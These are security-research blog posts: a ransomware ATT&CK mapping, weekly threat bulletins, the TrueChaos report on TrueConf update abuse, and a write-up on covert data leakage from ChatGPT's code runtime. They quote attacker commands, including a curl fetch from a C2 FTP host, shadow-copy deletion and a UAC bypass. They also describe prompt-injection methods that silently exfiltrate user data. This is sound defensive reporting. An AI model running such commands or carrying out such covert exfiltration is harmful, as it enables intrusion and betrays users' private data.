Defense EvasionIndicator Removal on Host: File Deletion (T1070.004)Forensic artefacts removed: prefetch (C:\\Windows\\Prefetch\\*.*), Defender logs (C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*.*), RDP logs (%SystemRoot%\\System32\\LogFiles\\RDP*\\*.*), $Recycle.Bin, plus overwriting free space via wipefile.tmp with 64 MB chunks.
Defense EvasionIndicator Removal on Host: Timestomp (T1070.006(implied)Report notes --silent avoids file renaming and timestamp changes; default behavior implied to alter names/timestamps, hampering timeline reconstruction and signature‑based detection.
Defense EvasionMasquerading: Masquerade Task or Service (T1036.004)ESXi locker placed at /bin/.vmware-authd, masquerading as legitimate VMware vmware-authd daemon.
Defense EvasionMasquerading: Match Legitimate Name or Location (T1036.005)Ransomware components use generic names (r.exeg.exeo.exe) and common locations (C:\\ProgramData\\C:\\Temp\\, admin shares) to blend with normal tools and admin activity.
Defense EvasionHide Artifacts: Hidden Window / Binary (T1564.003)ESXi binary uses a leading dot .vmware-authd to stay hidden; --silent mode on Windows avoids visible UI changes like wallpaper and renaming, running ransomware quietly in the background.
Defense EvasionObfuscated/Encrypted Artifacts (T1027)Per‑file ephemeral X25519 keys and XChaCha20 encryption plus footer markers (`–eph–<base64_ephemeral_pubkey>–marker–GENTLEMEN\nGENTLEMEN[–fast
Credential AccessOS Credential Dumping (T1003)Mimikatz artefacts recovered from memory show dumping of domain credentials and stored secrets from compromised workstations.
Credential AccessCredentials from Password Stores (T1555)Mimikatz dumping likely includes passwords from Windows Credential Manager/password stores, used later for --spread and PsExec.
DiscoverySystem Information Discovery (T1082)cmd.exe /C systeminfo run on compromised hosts to gather OS and hardware information.
DiscoveryAccount Discovery (T1033)cmd.exe /C whoami to confirm identity and context on multiple hosts.
DiscoveryAccount Discovery: Domain Account (T1087.002)net group "Domain Admins" /domain and net group "Enterprise Admins" /domain executed to enumerate domain‑level privileged groups.
DiscoveryDomain Trust Discovery (T1482)nltest /domain_trustsnltest /dclist (implied) to identify domain trust relationships and domain controllers.
DiscoveryRemote System Discovery (T1018)Domain computers enumerated via Get-ADComputer -Filter *; each host pinged to confirm reachability before executing lateral movement steps.
DiscoveryPermission Groups Discovery: Domain Groups (T1069.002)net group "Domain Admins" /domain and similar commands to discover privileged group membership.
DiscoveryNetwork Share Discovery (T1135)mpr.dll dynamically loaded; WNetOpenEnumWWNetEnumResourceWWNetCloseEnum used to enumerate available network shares after enabling network discovery services.
DiscoveryFile and Directory Discovery (T1083)cmd.exe /C dir c:\\users; reading internal files (e.g., Chinese language “公司主機紀錄.txt”) on file servers via UNC paths.
DiscoverySoftware Discovery: Security Software Discovery (T1518.001)wmic product where Name like '%kaspe%' get Name, IdentifyingNumber executed to identify installed Kaspersky (or similar) security products.
DiscoveryNetwork Service Scanning (T1046(partly inferred)While explicit port scans are not shown, large‑scale multi‑protocol lateral attempts via PsExec, WMI, remote services, and scheduled tasks after pinging hosts imply service reachability probing.
Lateral MovementRemote Services: SMB/Windows Admin Shares (T1021.002)Payloads dropped to \\\\<hostname>\\ADMIN$\\<random>.exe\\\\<target>\\C$\\Temp\\<exe>; share share$=C:\\Temp created and ACLs widened via icacls to support anonymous/Everyone access.
Lateral MovementRemote Services: RPC (T1021.001)Cobalt Strike and subsequent ransomware payloads executed over RPC from the Domain Controller after being copied to admin shares.
Lateral MovementRemote Services & Service Execution (T1021.001 + T1569.002)psexec \\\\<target> -accepteula -d -s/-h ... for remote execution, along with remote sc create/sc start to run services DefSvcUpdateSvc*.
Lateral MovementRemote Services: Windows Remote Management (T1021.006)PowerShell Invoke-Command -ComputerName <target> -ScriptBlock {...} used to disable Defender, set exclusions, and start lockers on remote machines.
Lateral MovementWindows Management Instrumentation (T1047)wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>" and wmic /node:<target> process call create "C:\\Temp\\<exe> <creds>" to run scripts and lockers remotely.
Lateral MovementScheduled Task/Job: Scheduled Task (T1053.005)Remote scheduled tasks (DefUDefSUpdateGU*UpdateGS*) created on numerous hosts and executed with /S <target> and /Run.
Lateral MovementLateral Tool Transfer (T1570)Locker copied using xcopy "<exe>" "\\\\<target>\\C$\\Temp\\" /Y /I /C /H /R /K and accessible via \\\\<host>\\share$\\<exe> from remote systems.
Lateral MovementRemote Services: RDP (T1021.001)RDP access enabled via reg add ...\\Terminal Server /v fDenyTSConnections /d 0 /f and firewall rule enabling “Remote Desktop” group, supporting interactive lateral movement.
Lateral MovementIngress Tool Transfer (T1105)Internal HTTP server on DC offers grand.exe on port 8080, fetched via PowerShell downloadfile(...) to c:\\programdata\\r.exe.
Command and ControlProxy: Multi‑hop Proxy (T1090.003)SystemBC (socks.exe) deployed; attempts outbound C2 to 45.86.230[.]112; acts as encrypted SOCKS proxy for C2 tunneling and pivoting.
Command and ControlIngress Tool Transfer (T1105)Cobalt Strike payloads and ransomware components transferred via HTTP, SMB (ADMIN$C$), and NETLOGON share as part of C2 and staging.
Command and ControlApplication Layer Protocol: Web Protocols (T1071.001)Cobalt Strike beacon from rundll32.exe to 91.107.247[.]163 using ports 443 and later 80 (HTTPS/HTTP).
Command and ControlEncrypted Channel: Asymmetric Cryptography (T1573.002)Cobalt Strike uses encrypted HTTPS; SystemBC uses RC4‑encrypted tunnel over SOCKS; both provide encrypted C2 channels.
ExfiltrationExfiltration Over C2 Channel (T1041)Ransom note claims “We have exfiltrated all your confidential and business data (including NAS, clouds, etc.)”; details not shown, but implies data exfiltration via C2/remote access tooling (Cobalt Strike, SystemBC, AnyDesk).
Impact (Extortion)Data Destruction in Extortion (T1654)Threats of “irreversible wipe of all data and your network” if victim attempts restoration or refuses to negotiate, coupled with timed leak‑site publication.
Impact (Extortion)Financial Theft / Extortion (T1657)Classic double‑extortion: demands payment for decryption and to prevent public leak; uses Tox IDs, Session, Tor blog tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad.onion, and X account TheGentlemen25.
ImpactData Encrypted for Impact (T1486)Multi‑OS lockers encrypt data (Windows/Linux/ESXi); for large files only 1–9% (depending on --fast/--superfast/--ultrafast) is encrypted with XChaCha20; per‑file footer includes --eph--<base64>--marker--GENTLEMEN\\nGENTLEMEN[...]--.
ImpactInhibit System Recovery (T1490)Shadow copies removed via vssadmin delete shadows /all /quiet and wmic shadowcopy delete$Recycle.Bin removed; logs and prefetch deleted; optional --wipe mode overwrites free space with wipefile.tmp.
ImpactService Stop (T1489)Services (including firewall mpssvc and likely AV/backup) stopped and disabled via sc stop <service> and sc config <service> start=disabled.
ImpactDefacement: Internal Defacement (T1491.001)Desktop background changed to embedded gentlemen.bmp written to %TEMP% and applied via SystemParametersInfoW, signaling compromise to victims.

The post DFIR Report – The Gentlemen & SystemBC: A Sneak Peek Behind the Proxy appeared first on Check Point Research.

  •  

13th April – Threat Intelligence Report

For the latest discoveries in cyber research for the week of 13th April, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

  • The Los Angeles Police Department has reported a data breach involving a digital storage system used by the L.A. City Attorney’s Office. The exposure included 7.7 terabytes and more than 337,000 files, including personnel records, internal affairs material, and unredacted personal information.
  • ChipSoft, a Dutch healthcare software vendor whose HiX platform is used by hospitals across the Netherlands, has suffered a ransomware attack that forced it to disable patient and provider services. Multiple hospitals disconnected from its systems, disrupting operations, and the company warned that the threat actor may have gained unauthorized access to patient data.
  • Ransomware group Qilin has taken responsibility for a cyber-attack targeting German political party Die Linke, which forced the party to shut down its IT infrastructure in late March. The party said membership databases were unaffected, while Qilin threatens to leak stolen sensitive employee and party information.

Check Point Endpoint and Threat Emulation provide protection against these threats (Ransomware.Wins.Qilin*)

  • Bitcoin Depot, a US cryptocurrency ATM operator with more than 25,000 kiosks and checkout locations, has disclosed a cyberattack that allowed attackers to steal credentials tied to digital asset settlement accounts. The attackers transferred more than 50 BTC worth more than $3.6M from company-controlled wallets before access was blocked.

AI THREATS

  • Researchers identified GrafanaGhost, an attack against Grafana’s AI components that can silently exfiltrate enterprise data by chaining indirect prompt injection with image URL validation bypass. The technique can expose financial, infrastructure, and customer information in the background, and Grafana has already addressed the weakness.
  • Researchers outlined AI Agent Traps, a framework describing six web-based attack classes that can manipulate autonomous AI agents through malicious content. The methods can inject hidden instructions, poison reasoning, corrupt memory, and steer tool use, showing how web pages can turn agent workflows into attack surfaces.
  • Researchers measured a growing AI supply chain risk, finding that third-party API routers for AI models can hijack agent tool calls to alter commands and steal credentials. In testing, several routers injected malicious code, abused intercepted cloud keys, and even triggered wallet theft from a researcher environment.

VULNERABILITIES AND PATCHES

  • CISA warns of active exploitation of Ivanti CVE-2026-1340, a critical code injection flaw in Endpoint Manager Mobile that allows unauthenticated remote code execution and full compromise of affected servers. The vulnerability carries a CVSS score of 9.8, affects multiple 12.5 through 12.7 releases, and has been exploited in the wild.

Check Point IPS provides protection against this threat (Ivanti Endpoint Manager Mobile Code Injection (CVE-2026-1340))

  • Adobe Reader is affected by an actively exploited zero-day that uses malicious PDF files to invoke privileged features on fully updated systems, enabling local data theft. Researchers said the activity has run since at least December 2025, uses Russian-language oil and gas lures, and may also enable further compromise.
  • Marimo maintainers released a fix for CVE-2026-39987, a critical remote code execution flaw in the Marimo Python notebook that allowed attackers to open a terminal without authentication and run commands. Exploitation was observed within hours of disclosure against internet-exposed instances, and fixes are available in version 0.23.0.
  • Fortinet has fixed CVE-2026-35616, a critical improper access control flaw in FortiClient EMS that enables unauthenticated code or command execution through crafted requests. The issue been actively exploited in the wild, prompting Fortinet to release an emergency hotfix.

THREAT INTELLIGENCE REPORTS

  • Check Point Research have analyzed March 2026’s threat landscape, with organizations averaging 1,995 weekly attacks. Education remained the most targeted sector, ransomware rose to 672 incidents led by Qilin, Akira, and DragonForce, and GenAI exposure remained high across enterprise environments.
  • Researchers discovered a coordinated software supply chain campaign that planted 36 malicious npm packages impersonating Strapi plugins. The packages executed on installation to search for secrets, maintain command and control, and in some cases enable Redis remote code execution, credential harvesting, and direct PostgreSQL exploitation.
  • Researchers linked Storm-1175, a financially motivated group associated with Medusa ransomware, to high-velocity exploitation of n-day and zero-day flaws. Microsoft said the actor moves quickly from initial access to data theft and ransomware deployment, sometimes weaponizing vulnerabilities within a day and heavily impacting healthcare, education, finance, and services.
  • Researchers identified a hack-for-hire campaign linked to BITTER APT that targeted journalists, activists, and government figures across the Middle East and North Africa. The operators used phishing to access iCloud backups and Signal accounts, and deployed Android spyware disguised as messaging applications to take over victim devices.

The post 13th April – Threat Intelligence Report appeared first on Check Point Research.

  •  

6th April – Threat Intelligence Report

For the latest discoveries in cyber research for the week of 30th March, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

  • The European Commission, the European Union’s executive body, has confirmed a data breach after its Europa.eu platform was compromised through a third-party exchange linked to the Trivy supply chain attack. The incident affected at least one Amazon Web Services account and resulted in data theft, while websites and internal systems remained operational.
  • Global toys and games manufacturing giant Hasbro has disclosed a cyberattack after detecting unauthorized access to its network on March 28. Some systems were taken offline, and the company warned that recovery could take weeks and cause delays.
  • Cryptocurrency trading platform Drift Protocol on Solana has suffered a major breach after an attacker gained enough Security Council approvals to execute pre-signed transactions on April 1. Drift said roughly $280 million was affected, froze platform activity, and stated the incident did not involve a smart contract flaw or seed phrase compromise.
  • Luxury camping providers Roan and Eurocamp have experienced a data breach that exposed guest names, email addresses, phone numbers, travel destinations, booking dates, and prices. Attackers are using the stolen data in WhatsApp payment scams, while the companies said the flaw was patched and no passwords or payment data were taken.

AI THREATS

  • Check Point Research demonstrated a hidden outbound channel in ChatGPT’s execution runtime that enabled silent exfiltration of user data. A single malicious prompt or a backdoored GPT could transmit chat content and uploaded files to attackers through DNS.
  • Check Point warns that based on leaked details about Anthropic’s Claude “Mythos”, the model will likely accelerate vulnerability discovery, exploit development, and multi-step attack automation. The new capabilities could sharply reduce time to exploit and make advanced offensive techniques more broadly accessible.
  • Researchers examined six AI agents and found that impersonation and fabricated urgency can push them to disclose data or take harmful actions. In testing, an agent forwarded 124 emails containing personal and financial details, while others deleted files and reassigned admin access.
  • Researchers observed a flaw in Google Cloud’s Vertex AI Agent Engine that could let attackers extract service agent credentials and pivot into customer projects. The exposed privileges enabled access to storage and Artifact Registry resources, and permissive OAuth scopes also increased the risk of wider Google Workspace exposure.

VULNERABILITIES AND PATCHES

  • Cisco released urgent fixes for CVE-2026-20093, a critical authentication bypass in its Integrated Management Controller software used across ENCS 5000, Catalyst 8300 uCPE, and UCS C-Series M5 and M6 servers. Remote attackers can reset any account, including Admin, allowing full device takeover.
  • Researchers discovered CVE-2026-5281, a zero-day memory flaw in Chrome’s WebGPU component, Dawn, that also impacts Edge, Brave, Opera, and other Chromium-based browsers. The vulnerability is being actively exploited and can enable code execution on user systems, prompting inclusion in CISA’s Known Exploited Vulnerabilities catalog.
  • Progress has addressed two critical ShareFile vulnerabilities, including CVE-2026-2699 with a CVSS score of 9.8, that can be chained for unauthenticated remote code execution. The flaws let attackers reach restricted configuration pages and upload arbitrary files to the server without logging in to affected installations.
  • F5 reclassified CVE-2025-53521, a BIG-IP Access Policy Manager vulnerability, as a critical remote code execution flaw under active exploitation. More than 14,000 internet-exposed systems were still visible online, and the company published indicators of compromise and rebuild guidance for affected devices.

THREAT INTELLIGENCE REPORTS

  • Check Point Research has unmasked TrueChaos, a campaign exploiting a 0-day vulnerability (CVE-2026-3502) in TrueConf’s on-premises update process to push malicious updates to Southeast Asian government networks. Attackers delivered Havoc payloads through trusted servers, and the activity was assessed with moderate confidence as being affiliated with a Chinese nexus.
  • Check Point Research have outlined an Iran-nexus password-spraying campaign against Microsoft 365 in the Middle East, conducted in three waves during March. The activity focused on Israel and the UAE, targeting municipalities and using Tor and VPN infrastructure to evade geofencing and complicate attribution.
  • Check Point Research have uncovered coordinated tax-season phishing and malware activity, with hundreds of newly registered tax-themed domains and rising risk levels. In March 2026, one in ten new domains was flagged as risky, while IRS-impersonating sites harvested personal data and Spain-themed emails delivered malware loaders.
  • Researchers documented a supply chain compromise of the Axios npm package, a widely used HTTP client with millions of monthly downloads, that briefly pushed malicious releases delivering a remote access trojan. The tampered versions used a hidden dependency to fetch a second-stage payload and erase traces after installation.

The post 6th April – Threat Intelligence Report appeared first on Check Point Research.

  •  

Operation TrueChaos: 0-Day Exploitation Against Southeast Asian Government Targets

Key Points

  • Check Point Research identified a zero-day vulnerability in the TrueConf client application, tracked as CVE-2026-3502, with a CVSS score of 7.8. The flaw stems from the abuse of TrueConf’s updater validation mechanism, allowing an attacker who controls the on-premises TrueConf server to distribute and execute arbitrary files across all connected endpoints.
  • This vulnerability has been exploited in-the-wild as part of a targeted campaign we call “TrueChaos” against government entities in Southeast Asia, where the threat actor abused the TrueConf update mechanism to deploy the Havoc payload to vulnerable machines.
  • Based on the observed TTPs, command and control infrastructure and victimology, we assess with moderate confidence that this activity is associated with a Chinese-nexus threat actor.
  • Check Point Research responsibly disclosed this vulnerability to TrueConf. Following our notification, the vendor developed a fix, which is included in the TrueConf Windows client starting with version 8.5.3, which was released in March 2026. The current version of the desktop apps is 8.5.2.

Introduction

At the beginning of 2026, Check Point Research observed a series of targeted attacks against government entities in Southeast Asia carried out via a legitimate TrueConf software installed in the targets’ environment. The investigation led to the discovery of a zero-day vulnerability in the TrueConf client, tracked as CVE-2026-3502 with a CVSS score of 7.8. The flaw affects the application’s updater validation mechanism and allows an attacker controlling an on-premises TrueConf server to distribute and execute arbitrary files across connected endpoints.

TrueConf is a video conferencing platform that supports both on-premises and cloud deployments and is used across multiple regions, most prominently in Russia, as well as in East Asia, Europe, and the Americas. Serving more than 100,000 organisations globally, their global customers range from key governments and defense departments and critical infrastructure industries to significant businesses such as banks, power and TV stations. In enterprise environments, its on-premises architecture creates a trusted relationship between the central server and connected clients, especially through the platform’s update mechanism.

Basically, TrueConf acts as an on-premises video conferencing solution that operates entirely within a private local network (LAN) without requiring an internet connection. It is primarily used by government, military, and critical infrastructure sectors to ensure absolute data privacy and communication autonomy in secure or remote environments. In locations with poor or no internet connectivity, or during natural disasters when traditional networks are down, it facilitates essential coordination. By hosting the server on internal hardware, all audio, video, and chat traffic remains strictly contained on-site, with offline activation available for fully air-gapped systems.

In this particular case, that trust was abused to deliver malware due to improper validation in the update process. In the observed in-the-wild activity, operation “TrueChaos”, the threat actor used the trusted update channel of a centrally managed on-premises TrueConf server to distribute malicious updates to multiple connected government agencies in a South Eastern country.

The victimology and regional focus of the campaign suggest an espionage-motivated operation. In combination with the observed TTPs and command-and-control infrastructure, these indicators point with moderate confidence to a Chinese-nexus threat actor.

About TrueConf

TrueConf is a video conferencing platform that supports both on-premises and cloud deployments. Although it is most widely used in Russia, it also has a notable presence across parts of East Asia, Europe, and the Americas. To better understand the potential scope of the vulnerability, we reviewed internet exposed TrueConf servers to assess the platform’s geographic distribution and the possible reach of the attack. This view is necessarily incomplete, as many TrueConf deployments may operate entirely in on-premises environments and remain inaccessible from the public internet.

Figure 1 – Geographic Distribution of Internet-Exposed TrueConf Servers

CVE-2026-3502 Root Cause Analysis

When the TrueConf client starts, it checks the connected on-premises server for available updates. If the server has a newer client version than the one installed, the application prompts the user to download the update from https://{trueconf_server}/downlods/trueconf_client.exe, which maps to the file stored on the server under C:\Program Files\TrueConf Server\ClientInstFiles\.

Figure 2 – TrueConf Application Update Prompt

TrueConf client update starts when the client detects a version mismatch in favor of the TrueConf on-premises server, the client alerts the user that a newer version is available and offers to download it.

Figure 3 – Updating TrueConf Client Without Reinstalling The Server https://trueconf.com/docs/server/en/admin/info/

The vulnerability stems from the lack of integrity and authenticity checks in this update flow. An attacker who gains control of the on-premises TrueConf server can replace the expected update package with an arbitrary executable, presented as the current application version, and distribute it to all connected clients. Because the client trusts the server-provided update without proper validation, the malicious file can be delivered and executed under the guise of a legitimate TrueConf update.

Figure 4 – TrueConf Client’s Settings Page https://trueconf.com/docs/server/en/admin/info/

In-The-Wild Exploitation

The infections began when TrueConf client application launched, probably by a link sent to the target from the attacker. This link launched the already installed TrueConf client and presented an update prompt claiming that a newer version was available.

Prior to the victim’s interaction, the attacker had already replaced the update package on the TrueConf on-premises server with a weaponized version, ensuring that the client retrieved a malicious file through the normal update process.

The compromised TrueConf on-premises server was operated by the governmental IT department and served as a video conferencing platform for dozens of government entities across the country, which were all supplied with the same malicious update.

Analysis of the downloaded package showed that it was a weaponized client update. The installation was built by Inno Setup. It would successfully upgrade the client version from 8.5.1 to the current at the time 8.5.2. Alongside the legitimate TrueConf installation components, the package dropped a benign poweriso.exe executable and a malicious 7z-x64.dll file to the path c:\programdata\poweriso\, which was then loaded through DLL side-loading.

Figure 5 – Malicious Client Update Attack Chain

Using the malicious 7z-x64.dll implant, the attacker performed a series of hands-on-keyboard actions focused on reconnaissance, environment preparation, persistence, and the retrieval of additional payloads.

Figure 6 - Attacker Hands-on-Keyboard Activity
Figure 6 – Attacker Hands-on-Keyboard Activity
  • Initial reconnaissance included commands such as:
    • tasklist > cache
    • tracert 8.8.8.8 -h 5
  • Downloaded from the FTP server an additional loader isciexe.dll, and extract it to the %temp% directory:
    • curl -u ftpuser:<redacted> ftp://47.237.15[.]197/update.7z -o c:\program files\winrar\winrar.exe x update.7z -p <redacted>
  • The attacker then modified the current user’s PATH variable, in order to preform UAC bypass by using the Microsoft iSCSI Initiator Control Panel tool:
    • reg add "hkcu\environment" /v path /t REG_SZ /d "C:\users\<redacted>\appdata\local\temp" /f c:\windows\system32\cmd.exe c:\windows\syswow64\iscsicpl.exe

iscsicpl.exe is a legitimate Windows binary that can be abused for UAC bypass because its 32-bit SysWOW64 version is auto-elevated and is vulnerable to DLL search-order hijacking for iscsiexe.dll. By placing a malicious iscsiexe.dll in a user-controlled location referenced through the user’s %PATH%, an attacker can cause Windows to resolve and load that DLL in the context of the elevated iscsicpl.exe, resulting in privilege escalation without a UAC prompt.

The downloaded update.7z archive contained a legitimate 7z.exe binary alongside iscsiexe.dll, a component used by the attackers as part of the post-compromise workflow. Check Point Research also identified additional variants of the archive that included an encrypted 7z archive named rom.dat. At the time of analysis, the contents and purpose of rom.dat remained unclear.

The iscsiexe.dll component appears to be a simple, custom persistence and privilege escalation tool. Rather than serving as a full-featured backdoor, its role was limited to maintaining execution of winexec.exe, which is the renamed poweriso.exe binary dropped earlier in the infection chain.

Figure 7 - Pseudo-Code of iscsiexe.dll
Figure 7 – Pseudo-Code of iscsiexe.dll

Although Check Point Research did not recover the exact final-stage payload associated with the malicious 7z-x64.dll activity, it observed network communication to 47.237.15[.]197, an attacker-controlled server running Havoc C2 infrastructure, and also identified Havoc demon sample linked to actor C2 infrastructure. Based on this combined evidence, Check Point Research assesses with high confidence that the missing payload was a Havoc implant.

Havoc is an open-source post-exploitation framework intended for penetration testing and adversary emulation, but it has also been repeatedly abused by threat actors in real-world intrusions, including Chinese-nexus Amaranth Dragon activity recently documented by Check Point Research.

Attribution

Check Point Research assesses with moderate confidence that operation TrueChaos is associated with a Chinese-nexus threat actor. The assessment is based on a combination of factors, including TTPs consistent with Chinese-nexus operations such as DLL sideloading, the use of Alibaba Cloud and Tencent hosting for command-and-control infrastructure and the victimology aligns with Chinese nexus strategic interests.

We also observed that the same victim was targeted within the same time frame by ShadowPad malware framework. This may indicate overlap in operator tooling, shared access, or the presence of multiple China-aligned actors targeting the same organization in parallel.

Conclusion

The exploitation of CVE-2026-3502 did not require the attacker to compromise each endpoint individually. Instead, the attacker abused the trusted relationship between a central on-premises TrueConf server and its clients. By replacing a legitimate update with a malicious one, they turned the product’s normal update flow into a malware distribution channel across multiple connected government networks.

From a research perspective, this case shows how monitoring and analysing routine execution techniques can uncover far more significant threats. What initially appeared to be a signed binary used for DLL sideloading ultimately led to the discovery of a zero-day vulnerability in TrueConf’s update validation mechanism.

Hunting Recommendations

In order to identify whether you have been compromised, review the following indicators and hunting opportunities across the affected system: 

  • Check whether trueconf_windows_update.exe is unsigned, as an unsigned update executable may indicate that the file is suspicious or has been tampered with.
  • Treat the system as potentially infected if C:\ProgramData\PowerISO\poweriso.exe is present on disk, especially if this file is not expected in your environment.
  • Treat the system as potentially infected if the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateCheck points to C:\ProgramData\PowerISO\PowerISO.exe, as this indicates persistence through a user logon autorun entry.
  • Treat the system as potentially infected if files such as %AppData%\Roaming\Adobe\update.7z, 7za.exe, iscsiexe.dll, or rom.dat are present, or if there is evidence that they were recently created and then deleted.
  • Hunt for file creation activity in which trueconf_windows_update.tmp creates C:\ProgramData\PowerISO\poweriso.exe or 7z-x64.dll, as this behavior is consistent with the observed delivery chain.
  • Hunt for poweriso.exe spawning commands through cmd.exe, particularly when the command line includes tools or utilities such as curl, winrar.exe, or netstat, since this may indicate download, extraction, or discovery activity.
  • Hunt for the suspicious parent-child process chain trueconf.exe -> trueconf_windows_update.exe -> trueconf_windows_update.tmp -> any executable, as this sequence may reveal execution of the malicious payload.

Indicators of Compromise

trueconf_windows_update.exe – Malicious TrueConf client update
22e32bcf113326e366ac480b077067cf

iscsiexe.dll – Loader
9b435ad985b733b64a6d5f39080f4ae0

7z-x64.dll – Havoc implant
248a4d7d4c48478dcbeade8f7dba80b3

43.134.90[.]60 – Havoc C2
43.134.52[.]221 – Havoc C2
47.237.15[.]197 – Havoc C2

The post Operation TrueChaos: 0-Day Exploitation Against Southeast Asian Government Targets appeared first on Check Point Research.

  •  

ChatGPT Data Leakage via a Hidden Outbound Channel in the Code Execution Runtime

Key Takeaways

  • Sensitive data shared with ChatGPT conversations could be silently exfiltrated without the user’s knowledge or approval.
  • Check Point Research discovered a hidden outbound communication path from ChatGPT’s isolated execution runtime to the public internet.
  • A single malicious prompt could turn an otherwise ordinary conversation into a covert exfiltration channel, leaking user messages, uploaded files, and other sensitive content.
  • A backdoored GPT could abuse the same weakness to obtain access to user data without the user’s awareness or consent.
  • The same hidden communication path could also be used to establish remote shell access inside the Linux runtime used for code execution.

What Happened

AI assistants now handle some of the most sensitive data people own. Users discuss symptoms and medical history. They ask questions about taxes, debts, and personal finances, upload PDFs, contracts, lab results, and identity-rich documents that contain names, addresses, account details, and private records. That trust depends on a simple expectation: data shared in the conversation remains inside the system.

ChatGPT itself presents outbound data sharing as something restricted, visible, and controlled. Potentially sensitive data is not supposed to be sent to arbitrary third parties simply because a prompt requests it. External actions are expected to be mediated through explicit safeguards, and direct outbound access from the code-execution environment is restricted.

Figure 1 – ChatGPT presents outbound data leakage as restricted and safeguarded.
Figure 1 – ChatGPT presents outbound data leakage as restricted and safeguarded.

Our research uncovered a path around that model.

We found that a single malicious prompt could activate a hidden exfiltration channel inside a regular ChatGPT conversation.

Video 1 – During a ChatGPT conversation, user content summary is silently transmitted to an external server without warning or approval.

The Intended Safeguards

ChatGPT includes useful tools that can retrieve information from the internet and execute Python code. At the same time, OpenAI has built safeguards around those capabilities to protect user data. For example, the web-search capability does not allow sensitive chat content to be transmitted outward through crafted query strings. The Python-based Data Analysis environment was designed to prevent internet access as well. OpenAI describes that environment as a secure code execution runtime that cannot generate direct outbound network requests.

Figure 2 – Screenshot showing blocked outbound Internet attempt from inside the container.
Figure 2 – Screenshot showing blocked outbound Internet attempt from inside the container.

OpenAI also documents that so called GPTs can send relevant parts of a user’s input to external services through APIs. A GPT is a customized version of ChatGPT that can be configured with instructions, knowledge files, and external integrations. GPT “Actions” provide a legitimate way to call third-party APIs and exchange data with outside services. Actions are useful for enterprise workflows, access to internal business systems, customer support operations, and other integrations that connect ChatGPT to external services, including simpler use cases such as travel or weather lookups. The key point is visibility: the user sees that data is about to leave ChatGPT, sees where it is going, and decides whether to allow it.

Figure 3 – GPT Action approval dialog showing the destination and the data that will be sent.
Figure 3 – GPT Action approval dialog showing the destination and the data that will be sent.

In other words, legitimate outbound data flows are designed to happen through an explicit, user-facing approval process.

From One Message to Silent Exfiltration

From a security perspective, the obvious attack surfaces looked strong. The ability to send chat data through tools not designed for that purpose was strictly limited. Sending data through a legitimate GPT integration using external API calls also required explicit user confirmation.

The vulnerability we discovered allowed information to be transmitted to an external server through a side channel originating from the container used by ChatGPT for code execution and data analysis. Crucially, because the model operated under the assumption that this environment could not send data outward directly, it did not recognize that behavior as an external data transfer requiring resistance or user mediation. As a result, the leakage did not trigger warnings about data leaving the conversation, did not require explicit user confirmation, and remained largely invisible from the user’s perspective.

At a high level, the attack began when the victim sent a single malicious prompt into a ChatGPT conversation. From that moment on, each new message in the chat became a potential source of leakage. The scope of that leakage depended on how the prompt framed the task for the model: it could include raw user text, text extracted from uploaded files, or selected model-generated output such as summaries, medical assessments, conclusions, and other condensed intelligence. This made the attack flexible, because it allowed the attacker to target not only original user data, but also the most valuable information produced by the model itself.

That attack pattern fits naturally into ordinary user behavior. The internet is full of websites, blog posts, forums, and social media threads promoting “top prompts for productivity,” “best prompts for work,” and other ready-made instructions that supposedly improve ChatGPT’s performance. For many users, copying and pasting such prompts into a new conversation is routine and does not appear risky, because the prevailing expectation is that AI assistants will not silently leak conversation data to external parties, and that this boundary cannot be changed through an ordinary prompt. A malicious prompt distributed in that format could therefore be presented as a harmless productivity aid and interpreted as just another useful trick for getting better results from the assistant.

A broader campaign could use an even more convincing lure: prompts advertised as a way to unlock premium capabilities for free. Claims about enabling Pro-level behavior, hidden modes, or advanced features on a lower-tier account would give the attacker a natural pretext for including unusual instructions, long text blocks, or opaque fragments that might otherwise seem suspicious. Because the user already expects a nonstandard sequence, those elements can easily be perceived as part of the promised “hack.” A carefully crafted prompt could then create the appearance of enhanced functionality while quietly turning the conversation into a source of exfiltrated data.

Figure 4 – Social engineering example: a malicious prompt disguised as a trick to unlock premium features.

Once the malicious prompt was placed into the chat, the conversation effectively became a covert collection channel. From that point on, summaries of subsequent user messages could be silently transmitted to an attacker-controlled server. As shown in Video 1, this took place without any warning, approval request, or other visible indication of external data transfer.

Malicious GPTs

The same attack pattern becomes even more dangerous when embedded inside a custom GPT.

GPTs allow developers to package instructions, knowledge files, and external integrations into a reusable assistant that other users can interact with. From the user’s perspective, the interaction looks like a normal ChatGPT conversation with a specialized tool.

In that scenario, the attacker no longer needs to rely on the victim copying a prompt from an external source. The malicious logic can be embedded directly in the GPT’s instructions and files. A user only needs to open the GPT and begin interacting with it as intended.

This changes the threat model significantly. Officially, GPT builders do not have access to individual user conversations with their GPTs. However, a GPT designed to exploit the vulnerability could still cause selected information from those conversations to be transmitted to an attacker-controlled server. From the user’s perspective, the interaction would remain indistinguishable from an ordinary session with a specialized assistant.

To demonstrate the practical impact of the vulnerability, we built a proof of concept around a sensitive scenario: a GPT acting as a personal doctor.

Video 2 – PoC: a “personal doctor” GPT exfiltrates patient identity and medical assessment.

In the demonstration, the user uploaded a PDF containing laboratory test results. The document also contained personal information, including the patient’s name. The user then described symptoms and asked the GPT to help interpret the results.

From the user’s perspective, the interaction looked completely ordinary. The GPT analyzed the document and produced a medical assessment based on the provided information.

When asked directly whether the uploaded data had been sent anywhere, ChatGPT answered confidently that it had not, explaining that the file was only stored in a secure internal location. At the same time, the user saw no approval prompts or warnings about external data transfer, unlike the confirmation dialogs that normally appear when a GPT Action sends information to a third-party service.

Figure 5 – ChatGPT denies external data transfer while the remote server receives extracted data.
Figure 5 – ChatGPT denies external data transfer while the remote server receives extracted data.

Meanwhile, the attacker’s server received highly sensitive data extracted from the conversation: the patient’s identity taken from the uploaded document together with the model’s medical assessment.

This illustrates an important aspect of the attack. The attacker does not necessarily need to steal entire documents. Instead, the prompt could instruct the model to transmit the most valuable information it produces. In the medical scenario, that meant the patient’s identifying details together with the model’s assessment. In other contexts, it could mean financial conclusions, contract summaries, or strategic insights extracted from long documents.

From Data Exfiltration to Remote Shell

The same communication channel could be used for more than silent data exfiltration.

